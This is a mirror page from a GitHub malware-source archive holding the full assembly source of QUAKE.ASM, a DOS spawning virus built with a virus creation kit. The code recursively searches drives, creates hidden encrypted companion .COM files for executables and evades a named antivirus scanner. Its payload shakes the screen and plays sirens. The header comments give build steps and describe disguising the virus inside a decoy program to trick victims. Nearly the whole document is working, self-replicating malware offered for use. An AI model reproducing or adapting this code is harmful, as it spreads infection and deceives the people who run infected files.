mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 21:05:28 +00:00
4b9382ddbc
push
715 lines
29 KiB
NASM
715 lines
29 KiB
NASM
; -----------------------------------------------------------------------------
|
||
; QUAKE.ASM
|
||
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
||
;
|
||
; Heavily modified VCL and Original Code by the best Bleeding Edge virus
|
||
; writer: Night Breeze. See you all in fuckin' HELL!
|
||
;
|
||
; This is a "spawning" virus and, technically, a trojan horse. First time it
|
||
; is run, it will do the earthquake thing - but only after infecting another
|
||
; file first! When the infected file is executed (in it's directory) then it
|
||
; will infect another file and run the app. Then, when all files on that drive
|
||
; are infected, it will again do the earthquake thing!
|
||
;
|
||
; Build instructions:
|
||
;
|
||
; Assemble QUAKE.ASM to QUAKE.COM
|
||
; d:\tasm\tasm /mx /m2 /q /t quake
|
||
; link quake;
|
||
; exe2bin quake.exe quake.com
|
||
;
|
||
; Run QUAKE.COM and file the infected file...<g>
|
||
; Find file
|
||
; ATTRIB *.COM -r -h
|
||
;
|
||
; Get a copy of that file as it is encrypted...
|
||
; COPY filename.COM \mydir\TEMP.COM
|
||
;
|
||
; Compile QINJECT.PAS
|
||
;
|
||
; Cat the two files:
|
||
; COPY /b TEMP.COM+QINJECT.EXE QUAKE.EXE (i know, overwrites)
|
||
;
|
||
; Now, QINJECT actually as the same strings (most) as QUAKE.COM, so if the
|
||
; user types or debugs the program, will see the strings. The REAL virus
|
||
; is hidden, and encrypted, at the start of QUAKE.EXE (it's really a com file).
|
||
;
|
||
; NOTE: The flag SHOW_FLAG is used to allow an intial infection, then to all
|
||
; the victim to see an apparently good program - although he is getting
|
||
; fucked :)
|
||
;
|
||
;
|
||
; If all that was too hard... just distribute the enclosed EARTH.EXE program:)
|
||
;
|
||
; -----------------------------------------------------------------------------
|
||
code segment byte public
|
||
assume cs:code,ds:code,es:code,ss:code
|
||
org 0100h
|
||
|
||
start label near
|
||
|
||
; -----------------------------------------------------------------------------
|
||
main proc near
|
||
call encrypt_decrypt ; Decrypt the virus
|
||
|
||
start_of_code label near
|
||
|
||
inc Show_Flag ; Inc infect count
|
||
|
||
mov si, offset spawn_name ; Save a copy of the
|
||
mov di, offset save_name ; file to "spawn"
|
||
cld
|
||
mov cx, 14 ; It's allways 14 bytes
|
||
rep movsb
|
||
|
||
call search_files ; Find and infect a file
|
||
|
||
mov al,byte ptr [set_carry] ; AX holds ALL INFECTED value
|
||
cmp al, 0 ; Have we infected all files?
|
||
jz Effect ; If so, then do it!
|
||
|
||
cmp Show_Flag,3 ; Should we show display?
|
||
jl Effect
|
||
jmp short end00
|
||
Effect:
|
||
call EarthQuake ; Let's do it!
|
||
jmp short Finito ; And don't run app!
|
||
end00:
|
||
mov ah,04Ah ; DOS resize memory function
|
||
mov bx,(finish - start) / 16 + 0272h ; BX holds # of para.
|
||
int 021h
|
||
|
||
mov sp,(finish - start) + 01100h ; Change top of stack
|
||
|
||
mov si,offset save_name ; SI points to true filename
|
||
int 02Eh ; DOS execution back-door
|
||
Finito:
|
||
mov ah,04Ch ; DOS terminate function
|
||
int 021h
|
||
main endp
|
||
|
||
; -----------------------------------------------------------------------------
|
||
search_files proc near
|
||
push bp ; Save BP
|
||
mov bp,sp ; BP points to local buffer
|
||
sub sp,64 ; Allocate 64 bytes on stack
|
||
|
||
mov ah,047h ; DOS get current dir function
|
||
xor dl,dl ; DL holds drive # (current)
|
||
lea si,[bp - 64] ; SI points to 64-byte buffer
|
||
int 021h
|
||
|
||
mov ah,03Bh ; DOS change directory function
|
||
mov dx,offset root ; DX points to root directory
|
||
int 021h
|
||
|
||
call traverse ; Start the traversal
|
||
|
||
mov ah,03Bh ; DOS change directory function
|
||
lea dx,[bp - 64] ; DX points to old directory
|
||
int 021h
|
||
|
||
mov sp,bp ; Restore old stack pointer
|
||
pop bp ; Restore BP
|
||
ret ; Return to caller
|
||
|
||
root db "\",0 ; Root directory
|
||
search_files endp
|
||
|
||
; -----------------------------------------------------------------------------
|
||
traverse proc near
|
||
push bp ; Save BP
|
||
|
||
mov ah,02Fh ; DOS get DTA function
|
||
int 021h
|
||
push bx ; Save old DTA address
|
||
|
||
mov bp,sp ; BP points to local buffer
|
||
sub sp,128 ; Allocate 128 bytes on stack
|
||
|
||
mov ah,01Ah ; DOS set DTA function
|
||
lea dx,[bp - 128] ; DX points to buffer
|
||
int 021h
|
||
|
||
mov ah,04Eh ; DOS find first function
|
||
mov cx,00010000b ; CX holds search attributes
|
||
mov dx,offset all_files ; DX points to "*.*"
|
||
int 021h
|
||
jc leave_traverse ; Leave if no files present
|
||
|
||
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
|
||
jne another_dir ; If not, try again
|
||
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
|
||
je another_dir ;If so, keep going
|
||
|
||
mov ah,03Bh ; DOS change directory function
|
||
lea dx,[bp - 98] ; DX points to new directory
|
||
int 021h
|
||
|
||
call traverse ; Recursively call ourself
|
||
|
||
pushf ; Save the flags
|
||
mov ah,03Bh ; DOS change directory function
|
||
mov dx,offset up_dir ; DX points to parent directory
|
||
int 021h
|
||
popf ; Restore the flags
|
||
|
||
jnc done_searching ; If we infected then exit
|
||
|
||
another_dir: mov ah,04Fh ; DOS find next function
|
||
int 021h
|
||
jnc check_dir ; If found check the file
|
||
|
||
leave_traverse:
|
||
mov dx,offset exe_mask ; DX points to "*.EXE"
|
||
call find_files ; Try to infect a file
|
||
done_searching: mov sp,bp ; Restore old stack frame
|
||
mov ah,01Ah ; DOS set DTA function
|
||
pop dx ; Retrieve old DTA address
|
||
int 021h
|
||
|
||
pop bp ; Restore BP
|
||
ret ; Return to caller
|
||
|
||
up_dir db "..",0 ; Parent directory name
|
||
all_files db "*.*",0 ; Directories to search for
|
||
exe_mask db "*.EXE",0 ; Mask for all .EXE files
|
||
traverse endp
|
||
|
||
; -----------------------------------------------------------------------------
|
||
find_files proc near
|
||
push bp ; Save BP
|
||
|
||
mov ah,02Fh ; DOS get DTA function
|
||
int 021h
|
||
push bx ; Save old DTA address
|
||
|
||
mov bp,sp ; BP points to local buffer
|
||
sub sp,128 ; Allocate 128 bytes on stack
|
||
|
||
push dx ; Save file mask
|
||
mov ah,01Ah ; DOS set DTA function
|
||
lea dx,[bp - 128] ; DX points to buffer
|
||
int 021h
|
||
|
||
mov ah,04Eh ; DOS find first file function
|
||
mov cx, 00100111b ; CX holds all file attributes
|
||
pop dx ; Restore file mask
|
||
find_a_file: int 021h
|
||
jc done_finding ; Exit if no files found
|
||
call infect_file ; Infect the file!
|
||
jnc done_finding ; Exit if no error
|
||
mov ah,04Fh ; DOS find next file function
|
||
jmp short find_a_file ; Try finding another file
|
||
|
||
done_finding: mov sp,bp ; Restore old stack frame
|
||
mov ah,01Ah ; DOS set DTA function
|
||
pop dx ; Retrieve old DTA address
|
||
int 021h
|
||
|
||
pop bp ; Restore BP
|
||
ret ; Return to caller
|
||
find_files endp
|
||
|
||
; -----------------------------------------------------------------------------
|
||
infect_file proc near
|
||
mov ah,02Fh ; DOS get DTA address function
|
||
int 021h
|
||
mov di,bx ; DI points to the DTA
|
||
|
||
lea si,[di + 01Eh] ; SI points to file name
|
||
mov dx,si ; DX points to file name, too
|
||
mov di,offset spawn_name + 1; DI points to new name
|
||
xor ah,ah ; AH holds character count
|
||
transfer_loop: lodsb ; Load a character
|
||
or al,al ; Is it a NULL?
|
||
je transfer_end ; If so then leave the loop
|
||
inc ah ; Add one to the character count
|
||
stosb ; Save the byte in the buffer
|
||
jmp short transfer_loop ; Repeat the loop
|
||
transfer_end:
|
||
mov byte ptr [spawn_name],ah; First byte holds char. count
|
||
mov byte ptr [di],13 ; Make CR the final character
|
||
|
||
mov di,dx ; DI points to file name
|
||
xor ch,ch ;
|
||
mov cl,ah ; CX holds length of filename
|
||
mov al,'.' ; AL holds char. to search for
|
||
repne scasb ; Search for a dot in the name
|
||
mov word ptr [di],'OC' ; Store "CO" as first two bytes
|
||
mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
|
||
|
||
mov byte ptr [set_carry],0 ; Assume we'll fail
|
||
mov ax,03D00h ; DOS open file function, r/o
|
||
int 021h
|
||
jnc infection_done ; File already exists, so leave
|
||
mov byte ptr [set_carry],1 ; Success -- the file is OK
|
||
|
||
mov ah,03Ch ; DOS create file function
|
||
mov cx, 00100011b ; CX holds file attributes
|
||
int 021h
|
||
xchg bx,ax ; BX holds file handle
|
||
|
||
call encrypt_code ; Write an encrypted copy
|
||
|
||
mov ah,03Eh ; DOS close file function
|
||
int 021h
|
||
|
||
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
|
||
ret ; Return to caller
|
||
|
||
; -----------------------------------------------------------------------------
|
||
spawn_name db 0, 12 dup (?),13 ; Name for next spawn
|
||
save_name db 0, 12 dup (?),13 ; Name for current spawn
|
||
show_flag db 0 ; When 0 & 1 then show display
|
||
set_carry db ? ; Set-carry-on-exit flag
|
||
infect_file endp
|
||
|
||
; =============================================================================
|
||
EarthQuake proc near
|
||
call InitCrt ; Initialize the vars
|
||
|
||
call DrawFrame ; Draw a frame in middle of screen
|
||
|
||
mov cx, 2 ; Make some noise
|
||
call Siren
|
||
|
||
mov si, OFFSET Warning ; Put Msg 1
|
||
mov dx,0718h ; Move to Row 8, column 20
|
||
call WriteStr
|
||
|
||
mov cx, 1
|
||
call Siren
|
||
|
||
mov si, OFFSET ToHills ; Put Msg 2
|
||
mov dx,0A16h ; Move to Row 10, column 18
|
||
call WriteStr
|
||
|
||
mov cx, 2 ; More noise
|
||
call Siren
|
||
|
||
call Shake ; Shake the screen - it's a quake!
|
||
|
||
call DrawFrame ; Draw a frame in middle of screen
|
||
|
||
mov si, OFFSET MadeIt ; Put Made It Msg
|
||
mov dx,081Fh
|
||
call WriteStr
|
||
|
||
cmp Show_Flag, 3
|
||
jl EarthDone
|
||
mov si, OFFSET BurmaShave ; Put Logo
|
||
mov dx,0C36h
|
||
call WriteStr
|
||
EarthDone:
|
||
ret
|
||
EarthQuake endp
|
||
|
||
Warning db '* * * Earthquake Warning! * * *', 0
|
||
ToHills db 'Head for the hills! Take cover!!!', 0
|
||
MadeIt db 'Whew! We Made It!', 0
|
||
BurmaShave db '-=[VCL/BEv]=-', 0
|
||
|
||
Table struc ; Structure of the Shaker Table
|
||
Iters db 0 ; Number of interations (quakes)
|
||
Cols db 0 ; Scroll number of columns
|
||
Pause dw 0 ; And then wait this much time
|
||
Table ends
|
||
|
||
QuakeTable Table < 3, 1, 500>
|
||
Table < 4, 2, 250>
|
||
Table < 5, 3, 175>
|
||
Table < 6, 4, 100>
|
||
Table <10, 5, 30>
|
||
Table <20, 5, 10>
|
||
Table <10, 5, 30>
|
||
Table < 5, 4, 100>
|
||
Table < 4, 3, 175>
|
||
Table < 3, 2, 250>
|
||
Table < 2, 1, 500>
|
||
Table < 0, 0, 0> ; End of data
|
||
|
||
; -----------------------------------------------------------------------------
|
||
Shake proc near
|
||
mov si, OFFSET QuakeTable ; Get pointer to table
|
||
xor cx,cx
|
||
ShakeNext:
|
||
mov cl, [si].Iters
|
||
jcxz ShakeDone
|
||
ShakeInner:
|
||
push cx ; Save for later
|
||
push si ; ditto
|
||
|
||
xor ax,ax ; duh...
|
||
mov al, [si].Cols ; Number of columns to scroll
|
||
push ax ; Get Ready
|
||
call ScrollRight ; Go...Scroll Screen to right
|
||
pop si ; Restore it
|
||
|
||
cmp [si].Cols, 3 ; Check if we are scrolling more than 3
|
||
jle ShakeCont1 ; If less or equal then skip vert scroll
|
||
mov ah, 6 ; Scroll up 1 line
|
||
call Scroll ; Do it.
|
||
ShakeCont1:
|
||
mov cx, [si].Pause ; delay period
|
||
call Delay ; Wait around a bit
|
||
|
||
push si ; And save our table index for l8r
|
||
xor ax,ax ; duh...
|
||
mov al, [si].Cols ; Number of columns to scroll
|
||
push ax ; Get Ready...Set...
|
||
call ScrollLeft ; Go! ... Scroll screen left
|
||
pop si ; And restore our table index
|
||
|
||
cmp [si].Cols, 3 ; Check if we are scrolling more than 3
|
||
jle ShakeCont2 ; If less or equal then skip vert scroll
|
||
mov ah, 7 ; Scroll up 1 line
|
||
call Scroll ; Do it.
|
||
ShakeCont2:
|
||
mov cx, [si].Pause ; pause again
|
||
call Delay ; Do it.
|
||
|
||
pop cx ; Get back our iteration counter
|
||
Loop ShakeInner ; Keep going
|
||
add si, 4 ; Move to next table element
|
||
jmp short ShakeNext ; Keep on doing it...
|
||
ShakeDone:
|
||
ret
|
||
Shake endp
|
||
|
||
; -----------------------------------------------------------------------------
|
||
; in: cx = number of times to do the siren
|
||
Siren proc near
|
||
KeepGoing:
|
||
push cx ; Save the count
|
||
mov ax, 880 ; Freq
|
||
mov bx, 500 ; Duration = 1/2 second
|
||
push ax ; Put Freq on stack
|
||
push bx ; Put Duration on stack
|
||
call Beep ; Make a noise
|
||
mov ax, 660 ; Freq
|
||
mov bx, 500 ; Duration = 1/5 second
|
||
push ax ; Put Freq on stack
|
||
push bx ; Put Duration on stack
|
||
call Beep ; Make more noise
|
||
pop cx ; Restore the count
|
||
loop KeepGoing ; So we can keep going
|
||
ret
|
||
Siren endp
|
||
|
||
; -----------------------------------------------------------------------------
|
||
; ds:si points to the null terminated string to print
|
||
; dx has row/col - dh=row
|
||
WriteStr proc near
|
||
mov bh,0 ; We'll be working on page 0
|
||
WriteMore:
|
||
mov al,[si] ; get the next character to print
|
||
cmp al, 0 ; done yet?
|
||
jz WriteDone ; Yep, so quit
|
||
inc si ; si++
|
||
mov ah,2 ; locate cursor at dx
|
||
int 10h ; do it
|
||
push cx ; save it for later
|
||
mov cx,1 ; count of characters to write!
|
||
mov ah,10 ; subfunction 10
|
||
int 10h ; call bios to do our dirty work
|
||
pop cx ; get it back
|
||
inc dx ; move to next cursor position
|
||
jmp short WriteMore ; keep going for cx
|
||
WriteDone:
|
||
ret
|
||
WriteStr endp
|
||
|
||
; -----------------------------------------------------------------------------
|
||
DrawFrame proc near
|
||
push bp ; Work around a stoopid bug in PC/XTs
|
||
mov ax, 0600h ; Draw and clear the outer frame
|
||
push ax ; Save for later
|
||
mov cx, 050Ah ; Upper screen coords: CH = ROW
|
||
mov dx, 0D46h ; Lower bounds, DH = ROW
|
||
mov bh, 70h ; Color is White Background, Black fore
|
||
int 10h ; Do It.
|
||
|
||
pop ax ; Draw and clear the inner frame
|
||
mov cx, 060Ch ; Upper screen coords: CH = ROW
|
||
mov dx, 0C44h ; Lower bounds, DH = ROW
|
||
mov bh, 0Eh ; Color is Black Background, Yellow fore
|
||
int 10h ; Do It Again
|
||
pop bp ; End of stoopid fix
|
||
ret
|
||
DrawFrame endp
|
||
|
||
; =============================================================================
|
||
ScrollRight proc near
|
||
push bp
|
||
mov bp, sp
|
||
mov ax, [bp+4] ; calc ColsToMove <- LEN shl 1
|
||
shl ax, 1 ; multiply by 2
|
||
mov ColsToMove, ax ; And save it
|
||
mov bx, NumCols ; calc WordsToScroll <- NumCols - LEN
|
||
sub bx, ax ; adjust for scroll difference
|
||
inc bx ; BX = WordsToScroll
|
||
mov ax, VidSegment ; Put ES = Video Segment
|
||
mov es, ax
|
||
xor ax, ax ; Start on row 0 aka 1
|
||
sr_NextRow:
|
||
push ax ; Save for later
|
||
mul LineWidth ; AX now has ROW * LineWidth
|
||
push ax ; Save start of row offset for printing
|
||
add ax, LineWidth ; AX points to last byte of the row
|
||
sub ax, ColsToMove ; This moves back 1 LEN of ch/attr pairs
|
||
mov di, ax ; save in DEST
|
||
sub ax, ColsToMove ; AX now moves back another LEN pairs
|
||
mov si, ax ; save in SOURCE
|
||
mov cx, bx ; BX = Words to Scroll
|
||
push ds ; Stash this
|
||
push es ; Make DS = ES
|
||
pop ds ; Like this
|
||
std ; Set SI and DI to decrement
|
||
rep movsw
|
||
pop ds ; Get the DS back
|
||
pop di ; Grab the Source Offset we saved above
|
||
mov cx, [bp+4] ; Prepare to print LEN blanks
|
||
call PrintBlank
|
||
pop ax ; Saved row
|
||
inc ax ; Move to next row
|
||
cmp ax, 25 ; Done with all rows?
|
||
jne sr_NextRow ; No? Then do next row!
|
||
|
||
mov sp, bp
|
||
pop bp
|
||
ret 2
|
||
ScrollRight endp
|
||
|
||
; -----------------------------------------------------------------------------
|
||
ScrollLeft proc near
|
||
push bp
|
||
mov bp, sp
|
||
mov ax, [bp+4] ; calc ColsToMove := Len Shl 1
|
||
shl ax, 1
|
||
mov ColsToMove, ax
|
||
mov bx, NumCols ; calc WordsToScroll := pred(NumCols) shl 1
|
||
mov ax, VidSegment ; Make ES point to the video segment
|
||
mov es, ax
|
||
|
||
mov es, ax
|
||
xor ax, ax ; Start on row 0 aka 1
|
||
sl_NextRow:
|
||
push ax ; Save Row for later
|
||
mul LineWidth ; calc AX := Row * LineWidth
|
||
push ax ; Save Start of Line
|
||
mov di, ax ; This is where it's going
|
||
add ax, ColsToMove ; calc AX := AX + ColsToMove
|
||
mov si, ax ; This will be our source
|
||
push ds ; Stash for later ...
|
||
push es ; Make DS = ES = Video Segment
|
||
pop ds
|
||
mov cx, bx ; BX = Words To Scroll
|
||
cld ; Set SI and DI to decrement
|
||
rep movsw
|
||
pop ds ; Get our DS back...
|
||
|
||
pop di ; Grab the Source Offset we saved
|
||
add di, LineWidth
|
||
sub di, colsToMove
|
||
mov cx, [bp+4] ; Prepare to print some blanks
|
||
call PrintBlank ; Do It
|
||
|
||
pop ax ; Get back out row value
|
||
inc ax ; And move to next row
|
||
cmp ax, 25 ; first check if we are done
|
||
jne sl_NextRow ; If now, then do next row
|
||
|
||
mov sp, bp
|
||
pop bp
|
||
ret 2
|
||
ScrollLeft endp
|
||
|
||
; -----------------------------------------------------------------------------
|
||
; In AH = 6 scroll up
|
||
; = 7 scroll down
|
||
Scroll proc near
|
||
mov al, 1 ; We will always scroll 1 line
|
||
xor cx, cx ; Set Top Row/Col to (0,0)
|
||
mov dx, 184Fh ; Set Bottom Row/Col to (24,79)
|
||
mov bh, 07h ; Use a normal blank
|
||
push bp ; Work around a lame bug on PC/XTs
|
||
int 10h ; Do Bios...Oh Do Me Now
|
||
pop bp ; And continue fixing that st00pid bug
|
||
ret ; I really feel sill doc'g this routine...
|
||
Scroll endp
|
||
|
||
; -----------------------------------------------------------------------------
|
||
PrintBlank proc near
|
||
; In ES - Video Segment
|
||
; DI - Offset to print blank at
|
||
; CX - Number of blanks to print
|
||
cld ; store forward (increment DI)
|
||
mov al,' ' ; We want to print a blank
|
||
PrintAgain:
|
||
stosb ; put in one blank char
|
||
inc di ; skip video attribute
|
||
loop short PrintAgain
|
||
ret
|
||
PrintBlank endp
|
||
|
||
; -----------------------------------------------------------------------------
|
||
; All the routines dealing with Sound and Delays - especially the delay
|
||
; calibration routine were mostly stolen from Kim Kokkonen's code in earlier
|
||
; version of Turbo Professional. KK is the owner of Turbo Power - a damn good
|
||
; set of programming tools - plug plug!
|
||
; Beep(Hz, MS:Word); assembler;
|
||
Beep proc near
|
||
push bp
|
||
mov bp, sp
|
||
mov bx, [bp+6] ; hertz
|
||
mov AX,34DDH
|
||
mov DX,0012H
|
||
cmp DX,BX
|
||
jnc beepStop
|
||
div BX
|
||
mov BX,AX ; Lots of port tweaking... Isn't
|
||
in AL,61H ; this shit fun???
|
||
test AL,3
|
||
jnz @99
|
||
or AL,3
|
||
out 61H,AL
|
||
mov AL,0B6H
|
||
out 43H,AL
|
||
@99:
|
||
mov AL,BL ; I know I never get bored.!!
|
||
out 42H,AL
|
||
mov AL,BH
|
||
out 42H,AL
|
||
BeepStop:
|
||
mov CX, [bp+4] ; push ms delay time
|
||
call Delay ; and wait...
|
||
|
||
IN AL, 61h ; Now turn off the speaker
|
||
AND AL, 0FCh
|
||
out 061h, AL
|
||
mov sp, bp
|
||
pop bp
|
||
ret 4
|
||
Beep endp
|
||
|
||
; -----------------------------------------------------------------------------
|
||
; In: cx = delay in ms
|
||
Delay proc near
|
||
delay1: ; What's to say... a tight loop
|
||
call delayOneMS ; counting milliseconds
|
||
loop short delay1
|
||
ret
|
||
Delay endp
|
||
|
||
; =============================================================================
|
||
DelayOneMS proc near
|
||
push cx ; Save CX
|
||
mov cx, OneMS ; Loop count into CX
|
||
DelayOne1:
|
||
loop delayOne1 ; Wait one millisecond
|
||
pop cx ; Restore CX
|
||
ret
|
||
DelayOneMs endp
|
||
|
||
; -----------------------------------------------------------------------------
|
||
Calibrate_Delay proc near
|
||
mov ax,40h
|
||
mov es,ax
|
||
mov di,6Ch ; ES:DI is the low word of BIOS timer count
|
||
mov OneMS, 55 ; Initial value for One MS's time
|
||
xor dx,dx ; DX = 0
|
||
mov ax,es:[di] ; AX = low word of timer
|
||
CalKeepOn:
|
||
cmp ax,es:[di] ; Keep looking at low word of timer
|
||
je CalKeepOn ; until its value changes...
|
||
mov ax,es:[di] ; ...then save it
|
||
CalDoMore:
|
||
call DelayOneMs ; Delay for a count of OneMS (55)
|
||
inc dx ; Increment loop counter
|
||
cmp ax,es:[di] ; Keep looping until the low word...
|
||
je CalDoMore ; ...of the timer count changes again
|
||
mov OneMS, dx ; DX has new OneMS }
|
||
ret
|
||
Calibrate_Delay endp
|
||
|
||
; -----------------------------------------------------------------------------
|
||
InitCrt proc near
|
||
mov ah,15 ; Get Video Mode
|
||
int 10h
|
||
cmp al, 7 ; Check if this is monochrome
|
||
je DoneInit
|
||
add VidSegment, 800h
|
||
DoneInit:
|
||
mov byte ptr NumCols, ah ; Set the number of Character Cols
|
||
shl ah, 1 ; Mult by two for number of vid bytes
|
||
mov byte ptr LineWidth, ah ; And stash it...
|
||
ToneInit:
|
||
call Calibrate_Delay
|
||
ret
|
||
InitCrt endp
|
||
|
||
; =============================================================================
|
||
VidSegment dw 0B000h ; Base Video Segment
|
||
NumCols dw ? ; Columns on Screen
|
||
LineWidth dw ? ; NumCols * 2
|
||
ColsToMove dw ? ; Number of video bytes to move each time
|
||
OneMS dw ? ; Calibration value for 1 ms of time
|
||
|
||
; =============================================================================
|
||
encrypt_code proc near
|
||
mov si,offset encrypt_decrypt; SI points to cipher routine
|
||
|
||
xor ah,ah ; BIOS get time function
|
||
int 01Ah
|
||
mov word ptr [si + 9],dx ; Low word of timer is new key
|
||
|
||
xor byte ptr [si],1 ;
|
||
xor byte ptr [si + 8],1 ; Change all SIs to DIs
|
||
xor word ptr [si + 11],0101h; (and vice-versa)
|
||
|
||
mov di,offset finish ; Copy routine into heap
|
||
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
||
push si ; Save SI for later
|
||
push cx ; Save CX for later
|
||
rep movsb ; Copy the bytes
|
||
|
||
mov si,offset write_stuff ; SI points to write stuff
|
||
mov cx,5 ; CX holds length of write
|
||
rep movsb ; Copy the bytes
|
||
|
||
pop cx ; Restore CX
|
||
pop si ; Restore SI
|
||
inc cx ; Copy the RET also this time
|
||
rep movsb ; Copy the routine again
|
||
|
||
mov ah,040h ; DOS write to file function
|
||
mov dx,offset start ; DX points to virus
|
||
|
||
call finish ; Encrypt/write/decrypt
|
||
|
||
ret ; Return to caller
|
||
|
||
write_stuff: mov cx,finish - start ; Length of code
|
||
int 021h
|
||
encrypt_code endp
|
||
|
||
end_of_code label near
|
||
|
||
; -----------------------------------------------------------------------------
|
||
encrypt_decrypt proc near
|
||
mov si,offset start_of_code ; SI points to code to decrypt
|
||
nop ; Defeat SCAN 95B
|
||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
||
inc si ; Do the next word
|
||
inc si ;
|
||
loop xor_loop ; Loop until we're through
|
||
ret ; Return to caller
|
||
encrypt_decrypt endp
|
||
|
||
finish label near
|
||
|
||
code ends
|
||
end main
|
||
|